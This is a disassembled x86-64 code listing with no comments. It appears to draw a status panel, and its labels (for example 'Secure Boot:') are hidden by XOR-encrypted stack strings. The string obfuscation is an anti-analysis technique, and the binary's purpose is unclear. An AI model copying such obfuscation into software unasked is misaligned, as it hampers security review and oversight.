mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140024290
call fcn.14004c200
test al, al
je 0x14004e26d
call fcn.140013290
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0xaf0]
mov edx, 0xff
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm6, dword [0x14016f55c]
lea rcx, [rbp + 0x200]
movaps xmm2, xmm6
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d60
mov qword [rsp + 0x40], rsi
lea rcx, [0x14016a058]
movss dword [rsp + 0x38], xmm14
mov r9, rax
mov qword [rsp + 0x30], rsi
movaps xmm2, xmm7
mov rsi, qword [rbp + 0x150]
mov qword [rsp + 0x28], rcx
mov rdx, rsi
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9940bfbed49eca45
mov qword [rbp + 0x10], rax
movabs rax, 0x729e4a28f3d6dafc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb00], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb08], rcx
lea rcx, [rbp + 0xb20]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb10], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xb00]
mov qword [rbp + 0xb18], rax
xorps xmm0, xmmword [rbp + 0xb10]
movdqa xmmword [rbp + 0xb00], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f574]
lea rcx, [rbp + 0x208]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xb00]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
xor r9d, r9d
mov byte [rbp], al
xor r8d, r8d
movabs rax, 0xb941a8a7d59af720
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb30], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb38], rcx
lea rcx, [rbp + 0xb50]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb40], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xb30]
mov qword [rbp + 0xb48], rax
xorps xmm0, xmmword [rbp + 0xb40]
movdqa xmmword [rbp + 0xb30], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f5c0]
lea rcx, [rbp + 0x210]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d60
xor ecx, ecx
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xb30]
jmp 0x14004e4d8
call fcn.140013290
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xb60]
mov r8d, 0x80
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm6, dword [0x14016f55c]
lea rcx, [rbp + 0x218]
movaps xmm2, xmm6
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d60
mov qword [rsp + 0x40], rsi
lea rcx, [0x14016a05c]
movss dword [rsp + 0x38], xmm14
mov r9, rax
mov qword [rsp + 0x30], rsi
movaps xmm2, xmm7
mov rsi, qword [rbp + 0x150]
mov qword [rsp + 0x28], rcx
mov rdx, rsi
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9940bfbed49eca45
mov qword [rbp + 0x10], rax
movabs rax, 0x729e4a28f3d6dafc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb70], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb78], rcx
lea rcx, [rbp + 0xb90]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb80], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xb70]
mov qword [rbp + 0xb88], rax
xorps xmm0, xmmword [rbp + 0xb80]
movdqa xmmword [rbp + 0xb70], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f574]
lea rcx, [rbp + 0x220]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xb70]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov r9d, 0x82
mov byte [rbp], al
xor r8d, r8d
movabs rax, 0xdd40a1a9d688f021
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xba0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xba8], rcx
lea rcx, [rbp + 0xbc0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbb0], rax
mov qword [rbp + 0x10], rdx
mov edx, 0x64
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xba0]
mov qword [rbp + 0xbb8], rax
xorps xmm0, xmmword [rbp + 0xbb0]
movdqa xmmword [rbp + 0xba0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f5c0]
lea rcx, [rbp + 0x228]
movaps xmm2, xmm6
mov ebx, eax
call fcn.140001d60
xor ecx, ecx
mov qword [rsp + 0x40], rcx
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xba0]
mov rdx, qword [0x1403a2268]
mov r9, rax
mov qword [rsp + 0x28], rcx
movaps xmm2, xmm7
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.14004bf40
test al, al
je 0x14004e75d
call fcn.140013290
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0xbd0]
mov edx, 0xff
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f574]
lea rcx, [rbp + 0x230]
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d60
xor ecx, ecx
mov r9, rax
mov qword [rsp + 0x40], rcx
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov rdx, rsi
mov qword [rsp + 0x30], rcx
lea rcx, [0x14016a058]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x890bffebfaabcd45
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b99584
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbe0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbe8], rcx
lea rcx, [rbp + 0xc00]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbf0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xbe0]
mov qword [rbp + 0xbf8], rax
xorps xmm0, xmmword [rbp + 0xbf0]
movdqa xmmword [rbp + 0xbe0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14016f574]
lea rcx, [rbp + 0x238]
movaps xmm2, xmm0
movaps xmm1, xmm0
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0xbe0]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
xor r9d, r9d
mov byte [rbp], al
xor r8d, r8d
movabs rax, 0xb941a8a7d59af720
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc10], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc18], rcx
lea rcx, [rbp + 0xc30]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc20], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xc10]
mov qword [rbp + 0xc28], rax
xorps xmm0, xmmword [rbp + 0xc20]
movdqa xmmword [rbp + 0xc10], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f574]
lea rcx, [rbp + 0x240]
movss xmm1, dword [0x14016f5ac]
mov ebx, eax
call fcn.140001d60
lea rcx, [rbp + 0xc10]
jmp 0x14004e9b5
call fcn.140013290
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xc40]
mov r8d, 0x80
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f574]
lea rcx, [rbp + 0x248]
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d60
xor ecx, ecx
mov r9, rax
mov qword [rsp + 0x40], rcx
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov rdx, rsi
mov qword [rsp + 0x30], rcx
lea rcx, [0x14016a05c]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x890bffebfaabcd45
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b99584
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc50], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc58], rcx
lea rcx, [rbp + 0xc70]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc60], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc68], rax
movdqa xmm0, xmmword [rbp + 0xc60]
xorps xmm0, xmmword [rbp + 0xc50]
movdqa xmmword [rbp + 0xc50], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14016f574]
lea rcx, [rbp + 0x250]
movaps xmm2, xmm0
movaps xmm1, xmm0
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0xc50]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov r9d, 0x82
mov byte [rbp], al
xor r8d, r8d
movabs rax, 0xdd40a1a9d688f021
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc80], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc88], rcx
lea rcx, [rbp + 0xca0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc90], rax
mov qword [rbp + 0x10], rdx
mov edx, 0x64
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xc98], rax
movdqa xmm0, xmmword [rbp + 0xc90]
xorps xmm0, xmmword [rbp + 0xc80]
movdqa xmmword [rbp + 0xc80], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f574]
lea rcx, [rbp + 0x258]
movss xmm1, dword [0x14016f5ac]
mov ebx, eax
call fcn.140001d60
lea rcx, [rbp + 0xc80]
mov rdx, qword [0x1403a2268]
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.14004bf40
movzx ebx, al
call fcn.14004c200
or bl, al
je 0x14004f379
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov r9d, 0xb4
mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
mov edx, 0x64
mov byte [rbp], al
movabs rax, 0xff05a8b8d69ef535
mov qword [rbp + 0x10], rax
movabs rax, 0x17cc4a65e8d5d9d1
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3ca0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xbf639b7828a66646
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3ca8], rcx
lea rcx, [rbp + 0xcb0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3cb0], rax
movabs rax, 0xa89b684d5ea0b0bc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3cb8], rax
movabs rax, 0xa4faaf719520b53c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3cc0], rax
movabs rax, 0xe0b23726c9a84947
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3cc8], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x31c0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x31c8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x31d0], rax
movabs rax, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x31d8], rax
movabs rax, 0xca93db1ffa639559
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x31e0], rax
movabs rax, 0xe0b23726c9a82c32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x3cc0]
vmovdqu ymm0, ymmword [rbp + 0x31c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3ca0]
mov qword [rbp + 0x31e8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x31e0]
vmovdqa ymmword [rbp + 0x3ca0], ymm1
vmovdqa xmmword [rbp + 0x3cc0], xmm2
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f604]
lea rcx, [rbp + 0x260]
movaps xmm1, xmm6
mov ebx, eax
call fcn.140001d60
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x3ca0]
movss dword [rsp + 0x38], xmm14
mov r9, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov rdx, qword [0x1403a2268]
movaps xmm2, xmm7
mov rcx, rdi
call fcn.140024630
cmp dword [0x1403a2288], r13d
jne 0x14004f464
mov rcx, qword [0x1403a2270]
call fcn.140012cb0
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0xce0]
xor edx, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xcf0]
mov r8d, edx
mov esi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0xd00]
xor edx, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f590]
lea rcx, [rbp + 0x278]
movaps xmm2, xmm15
mov ebx, eax
call fcn.140001d60
mov r9d, edi
lea rcx, [rbp + 0xd10]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd84ba4a6c297f52c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd10], rax
movabs rax, 0x729e6a1287b9dcca
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd18], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd20], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xd10]
mov qword [rbp + 0xd28], rax
xorps xmm0, xmmword [rbp + 0xd20]
movdqa xmmword [rbp + 0xd10], xmm0
movss xmm0, dword [0x14016f410]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.140033100
call fcn.140012d50
movss xmm6, dword [0x14016f574]
lea rcx, [rbp + 0x280]
movss xmm1, dword [0x14016f578]
movaps xmm2, xmm6
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movss xmm2, dword [0x14016f514]
lea rcx, [rbp + 0x288]
movss xmm1, dword [0x14016f5bc]
call fcn.140001d60
mov rdx, rax
xor eax, eax
mov byte [rbp], al
lea r8, [0x1403a2770]
mov byte [rbp], al
xor esi, esi
mov byte [rbp], al
movabs rbx, 0x729e6a1287b9b5be
mov qword [rsp + 0x38], rsi
movabs rax, 0xb940bea5d298f029
mov qword [rbp + 0x10], rax
mov r9d, 0x40
mov rcx, qword [rbp + 0x10]
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0xd30], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd38], rcx
lea rcx, [0x14016a060]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd40], rax
mov qword [rsp + 0x30], rsi
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xd30]
mov qword [rbp + 0xd48], rax
xorps xmm0, xmmword [rbp + 0xd40]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0xd30]
movdqa xmmword [rbp + 0xd30], xmm0
call fcn.140037070
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xcb50beebd290f828
mov qword [rbp + 0x10], rax
movabs rax, 0x17f60932e8cd95db
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3ce0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xa26b84742ee37854
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x3ce8], rcx
movabs rcx, 0x5222499c6c4abe8c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3cf0], rax
movabs rax, 0xac866b5b3ce6ace8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3cf8], rax
movabs rax, 0xa5f5be7dda06f630
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d00], rax
movabs rax, 0x89c65949aa884940
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d08], rax
movabs rax, 0x234309650dd0abc5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d10], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d18], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d20], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d28], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d30], rax
movabs rax, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov edx, 0xbe
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x3d38], rax
mov r8d, edx
movabs rax, 0xca93db1ffa639559
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d40], rax
movabs rax, 0xe0b23726c9a82c32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d48], rax
movabs rax, 0x234309650db5deab
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d50], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xd50]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x3d20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3ce0]
vmovdqa ymmword [rbp + 0x3ce0], ymm1
mov qword [rbp + 0x3d58], rax
vmovdqu ymm0, ymmword [rbp + 0x3d40]
vpxor ymm1, ymm0, ymmword [rbp + 0x3d00]
vmovdqa ymmword [rbp + 0x3d00], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f594]
lea rcx, [rbp + 0x290]
movss xmm1, dword [0x14016f578]
mov ebx, eax
call fcn.140001d60
movss xmm2, dword [0x14016f4d0]
lea rcx, [rbp + 0x3ce0]
mov rdx, qword [0x1403a2268]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
movss xmm2, dword [0x14016f5b0]
lea rcx, [rbp + 0x298]
movss xmm1, dword [0x14016f578]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movss xmm2, dword [0x14016f50c]
lea rcx, [rbp + 0x2a0]
movss xmm1, dword [0x14016f5bc]
call fcn.140001d60
mov rdx, rax
movabs rdi, 0x729e6a1287b9b5be
xor eax, eax
movabs rbx, 0xb925cdcbb7fb9965
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb94b84ebd99cf036
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd60], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xd68], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd70], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd78], rax
movdqa xmm0, xmmword [rbp + 0xd70]
xorps xmm0, xmmword [rbp + 0xd60]
xor r8d, r8d
movdqa xmmword [rbp + 0xd60], xmm0
lea rcx, [rbp + 0xd60]
call fcn.140031530
test al, al
je 0x14004f20d
lea rdx, [0x1403a2770]
lea rcx, [rbp + 0x21a0]
call fcn.14007a3b0
mov rdx, rax
lea rcx, [0x1403a2400]
call fcn.14008ce20
cmp byte [0x1403a2610], sil
je 0x14004f45b
xor eax, eax
lea rdx, [0x1403a2770]
mov byte [rbp], al
lea rcx, [rbp + 0xd80]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb940bea5d298f029
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd80], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd88], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd90], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xd98], rax
movdqa xmm0, xmmword [rbp + 0xd90]
xorps xmm0, xmmword [rbp + 0xd80]
movdqa xmmword [rbp + 0xd80], xmm0
call fcn.14004c8b0
mov dword [0x1403a2288], 2
cmp byte [rbp + 0x20], sil
je 0x14004f476
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdc48aca5c59eea30
mov qword [rbp + 0x10], rax
movabs rax, 0x7f12c32f3d6fb9e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x21c0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xd106f6115ae27759
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x21c8], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21d0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21d8], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21e0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21e8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21f0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xda0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x21f8], rax
vmovdqu ymm0, ymmword [rbp + 0x21e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x21c0]
vmovdqa ymmword [rbp + 0x21c0], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5d0]
lea rcx, [rbp + 0x2a8]
movss xmm1, dword [0x14016f5a4]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x21c0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
jmp 0x14004f46c
movss xmm2, dword [0x14016f604]
lea rcx, [rbp + 0x268]
movss xmm1, dword [0x14016f554]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movss xmm2, dword [0x14016f50c]
lea rcx, [rbp + 0x270]
movss xmm1, dword [0x14016f5f0]
call fcn.140001d60
mov rdx, rax
movabs r8, 0x729e6a1287b9b5be
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xdc50a3a2c395f626
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcc0], rcx
mov qword [rbp + 0x10], r8
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xcc8], rcx
